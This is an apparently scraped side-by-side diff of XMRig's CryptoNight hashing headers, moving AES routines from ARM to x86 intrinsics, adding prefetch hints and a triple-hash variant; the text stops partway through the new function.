* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __CRYPTONIGHT_H__ #ifndef __CRYPTONIGHT_H__
#define __CRYPTONIGHT_H__ #define __CRYPTONIGHT_H__

View file

@ -4,7 +4,6 @@
* Copyright 2014 Lucas Jones <https://github.com/lucasjones> * Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet> * Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com> * Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016 Imran Yusuff <https://github.com/imranyusuff>
* Copyright 2016-2017 XMRig <support@xmrig.com> * Copyright 2016-2017 XMRig <support@xmrig.com>
* *
* *
@ -22,14 +21,15 @@
* along with this program. If not, see <http://www.gnu.org/licenses/>. * along with this program. If not, see <http://www.gnu.org/licenses/>.
*/ */
#ifndef __CRYPTONIGHT_ARM_H__ #ifndef __CRYPTONIGHT_P_H__
#define __CRYPTONIGHT_ARM_H__ #define __CRYPTONIGHT_P_H__
#if defined(XMRIG_ARM) && !defined(__clang__) #ifdef __GNUC__
# include "aligned_malloc.h" # include <x86intrin.h>
#else #else
# include <mm_malloc.h> # include <intrin.h>
# define __restrict__ __restrict
#endif #endif
@ -70,23 +70,11 @@ static inline void do_skein_hash(const void* input, size_t len, char* output) {
void (* const extra_hashes[4])(const void *, size_t, char *) = {do_blake_hash, do_groestl_hash, do_jh_hash, do_skein_hash}; void (* const extra_hashes[4])(const void *, size_t, char *) = {do_blake_hash, do_groestl_hash, do_jh_hash, do_skein_hash};
static inline __attribute__((always_inline)) __m128i _mm_set_epi64x(const uint64_t a, const uint64_t b)
{
return vcombine_u64(vcreate_u64(b), vcreate_u64(a));
}
/* this one was not implemented yet so here it is */
static inline __attribute__((always_inline)) uint64_t _mm_cvtsi128_si64(__m128i a)
{
return vgetq_lane_u64(a, 0);
}
#if defined(__x86_64__) || defined(_M_AMD64)
# define EXTRACT64(X) _mm_cvtsi128_si64(X) # define EXTRACT64(X) _mm_cvtsi128_si64(X)
# ifdef __GNUC__
#if defined(XMRIG_ARMv8)
static inline uint64_t __umul128(uint64_t a, uint64_t b, uint64_t* hi) static inline uint64_t __umul128(uint64_t a, uint64_t b, uint64_t* hi)
{ {
unsigned __int128 r = (unsigned __int128) a * (unsigned __int128) b; unsigned __int128 r = (unsigned __int128) a * (unsigned __int128) b;
@ -94,6 +82,17 @@ static inline uint64_t __umul128(uint64_t a, uint64_t b, uint64_t* hi)
return (uint64_t) r; return (uint64_t) r;
} }
# else # else
#define __umul128 _umul128
# endif
#elif defined(__i386__) || defined(_M_IX86)
# define HI32(X) \
_mm_srli_si128((X), 4)
# define EXTRACT64(X) \
((uint64_t)(uint32_t)_mm_cvtsi128_si32(X) | \
((uint64_t)(uint32_t)_mm_cvtsi128_si32(HI32(X)) << 32))
static inline uint64_t __umul128(uint64_t multiplier, uint64_t multiplicand, uint64_t *product_hi) { static inline uint64_t __umul128(uint64_t multiplier, uint64_t multiplicand, uint64_t *product_hi) {
// multiplier = ab = a * 2^32 + b // multiplier = ab = a * 2^32 + b
// multiplicand = cd = c * 2^32 + d // multiplicand = cd = c * 2^32 + d
@ -139,14 +138,14 @@ static inline __m128i sl_xor(__m128i tmp1)
template<uint8_t rcon> template<uint8_t rcon>
static inline void aes_genkey_sub(__m128i* xout0, __m128i* xout2) static inline void aes_genkey_sub(__m128i* xout0, __m128i* xout2)
{ {
// __m128i xout1 = _mm_aeskeygenassist_si128(*xout2, rcon); __m128i xout1 = _mm_aeskeygenassist_si128(*xout2, rcon);
// xout1 = _mm_shuffle_epi32(xout1, 0xFF); // see PSHUFD, set all elems to 4th elem xout1 = _mm_shuffle_epi32(xout1, 0xFF); // see PSHUFD, set all elems to 4th elem
// *xout0 = sl_xor(*xout0); *xout0 = sl_xor(*xout0);
// *xout0 = _mm_xor_si128(*xout0, xout1); *xout0 = _mm_xor_si128(*xout0, xout1);
// xout1 = _mm_aeskeygenassist_si128(*xout0, 0x00); xout1 = _mm_aeskeygenassist_si128(*xout0, 0x00);
// xout1 = _mm_shuffle_epi32(xout1, 0xAA); // see PSHUFD, set all elems to 3rd elem xout1 = _mm_shuffle_epi32(xout1, 0xAA); // see PSHUFD, set all elems to 3rd elem
// *xout2 = sl_xor(*xout2); *xout2 = sl_xor(*xout2);
// *xout2 = _mm_xor_si128(*xout2, xout1); *xout2 = _mm_xor_si128(*xout2, xout1);
} }
@ -172,19 +171,19 @@ static inline void aes_genkey(const __m128i* memory, __m128i* k0, __m128i* k1, _
*k0 = xout0; *k0 = xout0;
*k1 = xout2; *k1 = xout2;
SOFT_AES ? soft_aes_genkey_sub<0x01>(&xout0, &xout2) : soft_aes_genkey_sub<0x01>(&xout0, &xout2); SOFT_AES ? soft_aes_genkey_sub<0x01>(&xout0, &xout2) : aes_genkey_sub<0x01>(&xout0, &xout2);
*k2 = xout0; *k2 = xout0;
*k3 = xout2; *k3 = xout2;
SOFT_AES ? soft_aes_genkey_sub<0x02>(&xout0, &xout2) : soft_aes_genkey_sub<0x02>(&xout0, &xout2); SOFT_AES ? soft_aes_genkey_sub<0x02>(&xout0, &xout2) : aes_genkey_sub<0x02>(&xout0, &xout2);
*k4 = xout0; *k4 = xout0;
*k5 = xout2; *k5 = xout2;
SOFT_AES ? soft_aes_genkey_sub<0x04>(&xout0, &xout2) : soft_aes_genkey_sub<0x04>(&xout0, &xout2); SOFT_AES ? soft_aes_genkey_sub<0x04>(&xout0, &xout2) : aes_genkey_sub<0x04>(&xout0, &xout2);
*k6 = xout0; *k6 = xout0;
*k7 = xout2; *k7 = xout2;
SOFT_AES ? soft_aes_genkey_sub<0x08>(&xout0, &xout2) : soft_aes_genkey_sub<0x08>(&xout0, &xout2); SOFT_AES ? soft_aes_genkey_sub<0x08>(&xout0, &xout2) : aes_genkey_sub<0x08>(&xout0, &xout2);
*k8 = xout0; *k8 = xout0;
*k9 = xout2; *k9 = xout2;
} }
@ -194,27 +193,25 @@ template<bool SOFT_AES>
static inline void aes_round(__m128i key, __m128i* x0, __m128i* x1, __m128i* x2, __m128i* x3, __m128i* x4, __m128i* x5, __m128i* x6, __m128i* x7) static inline void aes_round(__m128i key, __m128i* x0, __m128i* x1, __m128i* x2, __m128i* x3, __m128i* x4, __m128i* x5, __m128i* x6, __m128i* x7)
{ {
if (SOFT_AES) { if (SOFT_AES) {
*x0 = soft_aesenc((uint32_t*)x0, key); *x0 = soft_aesenc(*x0, key);
*x1 = soft_aesenc((uint32_t*)x1, key); *x1 = soft_aesenc(*x1, key);
*x2 = soft_aesenc((uint32_t*)x2, key); *x2 = soft_aesenc(*x2, key);
*x3 = soft_aesenc((uint32_t*)x3, key); *x3 = soft_aesenc(*x3, key);
*x4 = soft_aesenc((uint32_t*)x4, key); *x4 = soft_aesenc(*x4, key);
*x5 = soft_aesenc((uint32_t*)x5, key); *x5 = soft_aesenc(*x5, key);
*x6 = soft_aesenc((uint32_t*)x6, key); *x6 = soft_aesenc(*x6, key);
*x7 = soft_aesenc((uint32_t*)x7, key); *x7 = soft_aesenc(*x7, key);
} }
# ifndef XMRIG_ARMv7
else { else {
*x0 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x0), key)); *x0 = _mm_aesenc_si128(*x0, key);
*x1 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x1), key)); *x1 = _mm_aesenc_si128(*x1, key);
*x2 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x2), key)); *x2 = _mm_aesenc_si128(*x2, key);
*x3 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x3), key)); *x3 = _mm_aesenc_si128(*x3, key);
*x4 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x4), key)); *x4 = _mm_aesenc_si128(*x4, key);
*x5 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x5), key)); *x5 = _mm_aesenc_si128(*x5, key);
*x6 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x6), key)); *x6 = _mm_aesenc_si128(*x6, key);
*x7 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x7), key)); *x7 = _mm_aesenc_si128(*x7, key);
} }
# endif
} }
@ -236,10 +233,6 @@ static inline void cn_explode_scratchpad(const __m128i *input, __m128i *output)
xin7 = _mm_load_si128(input + 11); xin7 = _mm_load_si128(input + 11);
for (size_t i = 0; i < MEM / sizeof(__m128i); i += 8) { for (size_t i = 0; i < MEM / sizeof(__m128i); i += 8) {
if (!SOFT_AES) {
aes_round<SOFT_AES>(_mm_setzero_si128(), &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
}
aes_round<SOFT_AES>(k0, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k0, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
aes_round<SOFT_AES>(k1, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k1, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
aes_round<SOFT_AES>(k2, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k2, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
@ -249,20 +242,7 @@ static inline void cn_explode_scratchpad(const __m128i *input, __m128i *output)
aes_round<SOFT_AES>(k6, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k6, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
aes_round<SOFT_AES>(k7, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k7, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
aes_round<SOFT_AES>(k8, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k8, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
if (!SOFT_AES) {
xin0 ^= k9;
xin1 ^= k9;
xin2 ^= k9;
xin3 ^= k9;
xin4 ^= k9;
xin5 ^= k9;
xin6 ^= k9;
xin7 ^= k9;
}
else {
aes_round<SOFT_AES>(k9, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k9, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
}
_mm_store_si128(output + i + 0, xin0); _mm_store_si128(output + i + 0, xin0);
_mm_store_si128(output + i + 1, xin1); _mm_store_si128(output + i + 1, xin1);
@ -304,10 +284,6 @@ static inline void cn_implode_scratchpad(const __m128i *input, __m128i *output)
xout6 = _mm_xor_si128(_mm_load_si128(input + i + 6), xout6); xout6 = _mm_xor_si128(_mm_load_si128(input + i + 6), xout6);
xout7 = _mm_xor_si128(_mm_load_si128(input + i + 7), xout7); xout7 = _mm_xor_si128(_mm_load_si128(input + i + 7), xout7);
if (!SOFT_AES) {
aes_round<SOFT_AES>(_mm_setzero_si128(), &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7);
}
aes_round<SOFT_AES>(k0, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round<SOFT_AES>(k0, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7);
aes_round<SOFT_AES>(k1, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round<SOFT_AES>(k1, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7);
aes_round<SOFT_AES>(k2, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round<SOFT_AES>(k2, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7);
@ -317,21 +293,8 @@ static inline void cn_implode_scratchpad(const __m128i *input, __m128i *output)
aes_round<SOFT_AES>(k6, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round<SOFT_AES>(k6, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7);
aes_round<SOFT_AES>(k7, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round<SOFT_AES>(k7, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7);
aes_round<SOFT_AES>(k8, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round<SOFT_AES>(k8, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7);
if (!SOFT_AES) {
xout0 ^= k9;
xout1 ^= k9;
xout2 ^= k9;
xout3 ^= k9;
xout4 ^= k9;
xout5 ^= k9;
xout6 ^= k9;
xout7 ^= k9;
}
else {
aes_round<SOFT_AES>(k9, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round<SOFT_AES>(k9, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7);
} }
}
_mm_store_si128(output + 4, xout0); _mm_store_si128(output + 4, xout0);
_mm_store_si128(output + 5, xout1); _mm_store_si128(output + 5, xout1);
@ -362,15 +325,13 @@ inline void cryptonight_hash(const void *__restrict__ input, size_t size, void *
for (size_t i = 0; i < ITERATIONS; i++) { for (size_t i = 0; i < ITERATIONS; i++) {
__m128i cx; __m128i cx;
cx = _mm_load_si128((__m128i *) &l0[idx0 & MASK]);
if (SOFT_AES) { if (SOFT_AES) {
cx = soft_aesenc((uint32_t*)&l0[idx0 & MASK], _mm_set_epi64x(ah0, al0)); cx = soft_aesenc(cx, _mm_set_epi64x(ah0, al0));
} }
else { else {
cx = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); cx = _mm_aesenc_si128(cx, _mm_set_epi64x(ah0, al0));
# ifndef XMRIG_ARMv7
cx = vreinterpretq_m128i_u8(vaesmcq_u8(vaeseq_u8(cx, vdupq_n_u8(0)))) ^ _mm_set_epi64x(ah0, al0);
# endif
} }
_mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx)); _mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx));
@ -426,19 +387,16 @@ inline void cryptonight_double_hash(const void *__restrict__ input, size_t size,
uint64_t idx1 = h1[0] ^ h1[4]; uint64_t idx1 = h1[0] ^ h1[4];
for (size_t i = 0; i < ITERATIONS; i++) { for (size_t i = 0; i < ITERATIONS; i++) {
__m128i cx0, cx1; __m128i cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]);
__m128i cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]);
if (SOFT_AES) { if (SOFT_AES) {
cx0 = soft_aesenc((uint32_t*)&l0[idx0 & MASK], _mm_set_epi64x(ah0, al0)); cx0 = soft_aesenc(cx0, _mm_set_epi64x(ah0, al0));
cx1 = soft_aesenc((uint32_t*)&l1[idx1 & MASK], _mm_set_epi64x(ah1, al1)); cx1 = soft_aesenc(cx1, _mm_set_epi64x(ah1, al1));
} }
else { else {
cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); cx0 = _mm_aesenc_si128(cx0, _mm_set_epi64x(ah0, al0));
cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]); cx1 = _mm_aesenc_si128(cx1, _mm_set_epi64x(ah1, al1));
# ifndef XMRIG_ARMv7
cx0 = vreinterpretq_m128i_u8(vaesmcq_u8(vaeseq_u8(cx0, vdupq_n_u8(0)))) ^ _mm_set_epi64x(ah0, al0);
cx1 = vreinterpretq_m128i_u8(vaesmcq_u8(vaeseq_u8(cx1, vdupq_n_u8(0)))) ^ _mm_set_epi64x(ah1, al1);
# endif
} }
_mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx0)); _mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx0));
@ -490,4 +448,4 @@ inline void cryptonight_double_hash(const void *__restrict__ input, size_t size,
extra_hashes[ctx->state1[0] & 3](ctx->state1, 200, static_cast<char*>(output) + 32); extra_hashes[ctx->state1[0] & 3](ctx->state1, 200, static_cast<char*>(output) + 32);
} }
#endif /* __CRYPTONIGHT_ARM_H__ */ #endif /* __CRYPTONIGHT_P_H__ */

View file

@ -1,26 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __CRYPTONIGHT_TEST_H__ #ifndef __CRYPTONIGHT_TEST_H__
#define __CRYPTONIGHT_TEST_H__ #define __CRYPTONIGHT_TEST_H__

View file

@ -1,25 +1,4 @@
/* XMRig #include "log/Log.h"
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __CRYPTONIGHT_X86_H__ #ifndef __CRYPTONIGHT_X86_H__
#define __CRYPTONIGHT_X86_H__ #define __CRYPTONIGHT_X86_H__
@ -193,14 +172,14 @@ template<bool SOFT_AES>
static inline void aes_round(__m128i key, __m128i* x0, __m128i* x1, __m128i* x2, __m128i* x3, __m128i* x4, __m128i* x5, __m128i* x6, __m128i* x7) static inline void aes_round(__m128i key, __m128i* x0, __m128i* x1, __m128i* x2, __m128i* x3, __m128i* x4, __m128i* x5, __m128i* x6, __m128i* x7)
{ {
if (SOFT_AES) { if (SOFT_AES) {
*x0 = soft_aesenc((uint32_t*)x0, key); *x0 = soft_aesenc(*x0, key);
*x1 = soft_aesenc((uint32_t*)x1, key); *x1 = soft_aesenc(*x1, key);
*x2 = soft_aesenc((uint32_t*)x2, key); *x2 = soft_aesenc(*x2, key);
*x3 = soft_aesenc((uint32_t*)x3, key); *x3 = soft_aesenc(*x3, key);
*x4 = soft_aesenc((uint32_t*)x4, key); *x4 = soft_aesenc(*x4, key);
*x5 = soft_aesenc((uint32_t*)x5, key); *x5 = soft_aesenc(*x5, key);
*x6 = soft_aesenc((uint32_t*)x6, key); *x6 = soft_aesenc(*x6, key);
*x7 = soft_aesenc((uint32_t*)x7, key); *x7 = soft_aesenc(*x7, key);
} }
else { else {
*x0 = _mm_aesenc_si128(*x0, key); *x0 = _mm_aesenc_si128(*x0, key);
@ -221,6 +200,9 @@ static inline void cn_explode_scratchpad(const __m128i *input, __m128i *output)
__m128i xin0, xin1, xin2, xin3, xin4, xin5, xin6, xin7; __m128i xin0, xin1, xin2, xin3, xin4, xin5, xin6, xin7;
__m128i k0, k1, k2, k3, k4, k5, k6, k7, k8, k9; __m128i k0, k1, k2, k3, k4, k5, k6, k7, k8, k9;
_mm_prefetch((const char*)input, _MM_HINT_NTA);
_mm_prefetch((const char*)input + 8, _MM_HINT_NTA);
aes_genkey<SOFT_AES>(input, &k0, &k1, &k2, &k3, &k4, &k5, &k6, &k7, &k8, &k9); aes_genkey<SOFT_AES>(input, &k0, &k1, &k2, &k3, &k4, &k5, &k6, &k7, &k8, &k9);
xin0 = _mm_load_si128(input + 4); xin0 = _mm_load_si128(input + 4);
@ -233,6 +215,8 @@ static inline void cn_explode_scratchpad(const __m128i *input, __m128i *output)
xin7 = _mm_load_si128(input + 11); xin7 = _mm_load_si128(input + 11);
for (size_t i = 0; i < MEM / sizeof(__m128i); i += 8) { for (size_t i = 0; i < MEM / sizeof(__m128i); i += 8) {
_mm_prefetch((const char*)output + i + 8, _MM_HINT_T2);
aes_round<SOFT_AES>(k0, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k0, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
aes_round<SOFT_AES>(k1, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k1, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
aes_round<SOFT_AES>(k2, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round<SOFT_AES>(k2, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7);
@ -262,6 +246,9 @@ static inline void cn_implode_scratchpad(const __m128i *input, __m128i *output)
__m128i xout0, xout1, xout2, xout3, xout4, xout5, xout6, xout7; __m128i xout0, xout1, xout2, xout3, xout4, xout5, xout6, xout7;
__m128i k0, k1, k2, k3, k4, k5, k6, k7, k8, k9; __m128i k0, k1, k2, k3, k4, k5, k6, k7, k8, k9;
_mm_prefetch((const char*)output, _MM_HINT_NTA);
_mm_prefetch((const char*)input, _MM_HINT_NTA);
aes_genkey<SOFT_AES>(output + 2, &k0, &k1, &k2, &k3, &k4, &k5, &k6, &k7, &k8, &k9); aes_genkey<SOFT_AES>(output + 2, &k0, &k1, &k2, &k3, &k4, &k5, &k6, &k7, &k8, &k9);
xout0 = _mm_load_si128(output + 4); xout0 = _mm_load_si128(output + 4);
@ -275,6 +262,8 @@ static inline void cn_implode_scratchpad(const __m128i *input, __m128i *output)
for (size_t i = 0; i < MEM / sizeof(__m128i); i += 8) for (size_t i = 0; i < MEM / sizeof(__m128i); i += 8)
{ {
_mm_prefetch((const char*)input + i + 8, _MM_HINT_NTA);
xout0 = _mm_xor_si128(_mm_load_si128(input + i + 0), xout0); xout0 = _mm_xor_si128(_mm_load_si128(input + i + 0), xout0);
xout1 = _mm_xor_si128(_mm_load_si128(input + i + 1), xout1); xout1 = _mm_xor_si128(_mm_load_si128(input + i + 1), xout1);
xout2 = _mm_xor_si128(_mm_load_si128(input + i + 2), xout2); xout2 = _mm_xor_si128(_mm_load_si128(input + i + 2), xout2);
@ -325,14 +314,15 @@ inline void cryptonight_hash(const void *__restrict__ input, size_t size, void *
for (size_t i = 0; i < ITERATIONS; i++) { for (size_t i = 0; i < ITERATIONS; i++) {
__m128i cx; __m128i cx;
cx = _mm_load_si128((__m128i *) &l0[idx0 & MASK]);
if (SOFT_AES) { if (SOFT_AES) {
cx = soft_aesenc((uint32_t*)&l0[idx0 & MASK], _mm_set_epi64x(ah0, al0)); cx = soft_aesenc(cx, _mm_set_epi64x(ah0, al0));
} }
else { else {
cx = _mm_load_si128((__m128i *) &l0[idx0 & MASK]);
cx = _mm_aesenc_si128(cx, _mm_set_epi64x(ah0, al0)); cx = _mm_aesenc_si128(cx, _mm_set_epi64x(ah0, al0));
} }
_mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx)); _mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx));
idx0 = EXTRACT64(cx); idx0 = EXTRACT64(cx);
bx0 = cx; bx0 = cx;
@ -386,15 +376,14 @@ inline void cryptonight_double_hash(const void *__restrict__ input, size_t size,
uint64_t idx1 = h1[0] ^ h1[4]; uint64_t idx1 = h1[0] ^ h1[4];
for (size_t i = 0; i < ITERATIONS; i++) { for (size_t i = 0; i < ITERATIONS; i++) {
__m128i cx0, cx1; __m128i cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]);
__m128i cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]);
if (SOFT_AES) { if (SOFT_AES) {
cx0 = soft_aesenc((uint32_t*)&l0[idx0 & MASK], _mm_set_epi64x(ah0, al0)); cx0 = soft_aesenc(cx0, _mm_set_epi64x(ah0, al0));
cx1 = soft_aesenc((uint32_t*)&l1[idx1 & MASK], _mm_set_epi64x(ah1, al1)); cx1 = soft_aesenc(cx1, _mm_set_epi64x(ah1, al1));
} }
else { else {
cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]);
cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]);
cx0 = _mm_aesenc_si128(cx0, _mm_set_epi64x(ah0, al0)); cx0 = _mm_aesenc_si128(cx0, _mm_set_epi64x(ah0, al0));
cx1 = _mm_aesenc_si128(cx1, _mm_set_epi64x(ah1, al1)); cx1 = _mm_aesenc_si128(cx1, _mm_set_epi64x(ah1, al1));
} }
@ -448,4 +437,237 @@ inline void cryptonight_double_hash(const void *__restrict__ input, size_t size,
extra_hashes[ctx->state1[0] & 3](ctx->state1, 200, static_cast<char*>(output) + 32); extra_hashes[ctx->state1[0] & 3](ctx->state1, 200, static_cast<char*>(output) + 32);
} }
template<size_t ITERATIONS, size_t MEM, size_t MASK, bool SOFT_AES>
inline void cryptonight_triple_hash(const void *__restrict__ input, size_t size, void *__restrict__ output, struct cryptonight_ctx *__restrict__ ctx)
{
keccak((const uint8_t *) input, (int) size, ctx->state0, 200);
keccak((const uint8_t *) input + size, (int) size, ctx->state1, 200);
keccak((const uint8_t *) input + size + size, (int) size, ctx->state2, 200);
const uint8_t* l0 = ctx->memory;
const uint8_t* l1 = ctx->memory + MEM;
const uint8_t* l2 = ctx->memory + MEM + MEM;
uint64_t* h0 = reinterpret_cast<uint64_t*>(ctx->state0);
uint64_t* h1 = reinterpret_cast<uint64_t*>(ctx->state1);
uint64_t* h2 = reinterpret_cast<uint64_t*>(ctx->state2);
cn_explode_scratchpad<MEM, SOFT_AES>((__m128i*) h0, (__m128i*) l0);
cn_explode_scratchpad<MEM, SOFT_AES>((__m128i*) h1, (__m128i*) l1);
cn_explode_scratchpad<MEM, SOFT_AES>((__m128i*) h2, (__m128i*) l2);
uint64_t al0 = h0[0] ^ h0[4];
uint64_t al1 = h1[0] ^ h1[4];
uint64_t al2 = h2[0] ^ h2[4];
uint64_t ah0 = h0[1] ^ h0[5];
uint64_t ah1 = h1[1] ^ h1[5];
uint64_t ah2 = h2[1] ^ h2[5];
__m128i bx0 = _mm_set_epi64x(h0[3] ^ h0[7], h0[2] ^ h0[6]);
__m128i bx1 = _mm_set_epi64x(h1[3] ^ h1[7], h1[2] ^ h1[6]);
__m128i bx2 = _mm_set_epi64x(h2[3] ^ h2[7], h2[2] ^ h2[6]);
uint64_t idx0 = h0[0] ^ h0[4];
uint64_t idx1 = h1[0] ^ h1[4];
uint64_t idx2 = h2[0] ^ h2[4];
for (size_t i = 0; i < ITERATIONS; i++) {
__m128i cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]);
__m128i cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]);
__m128i cx2 = _mm_load_si128((__m128i *) &l2[idx2 & MASK]);
if (SOFT_AES) {
cx0 = soft_aesenc(cx0, _mm_set_epi64x(ah0, al0));
cx1 = soft_aesenc(cx1, _mm_set_epi64x(ah1, al1));
cx2 = soft_aesenc(cx2, _mm_set_epi64x(ah2, al2));
}
else {
cx0 = _mm_aesenc_si128(cx0, _mm_set_epi64x(ah0, al0));
cx1 = _mm_aesenc_si128(cx1, _mm_set_epi64x(ah1, al1));
cx2 = _mm_aesenc_si128(cx2, _mm_set_epi64x(ah2, al2));
}
_mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx0));
_mm_store_si128((__m128i *) &l1[idx1 & MASK], _mm_xor_si128(bx1, cx1));
_mm_store_si128((__m128i *) &l2[idx2 & MASK], _mm_xor_si128(bx2, cx2));
idx0 = EXTRACT64(cx0);
idx1 = EXTRACT64(cx1);
idx2 = EXTRACT64(cx2);
bx0 = cx0;
bx1 = cx1;
bx2 = cx2;
uint64_t hi, lo, cl, ch;
cl = ((uint64_t*) &l0[idx0 & MASK])[0];
ch = ((uint64_t*) &l0[idx0 & MASK])[1];
lo = __umul128(idx0, cl, &hi);
al0 += hi;
ah0 += lo;
((uint64_t*) &l0[idx0 & MASK])[0] = al0;
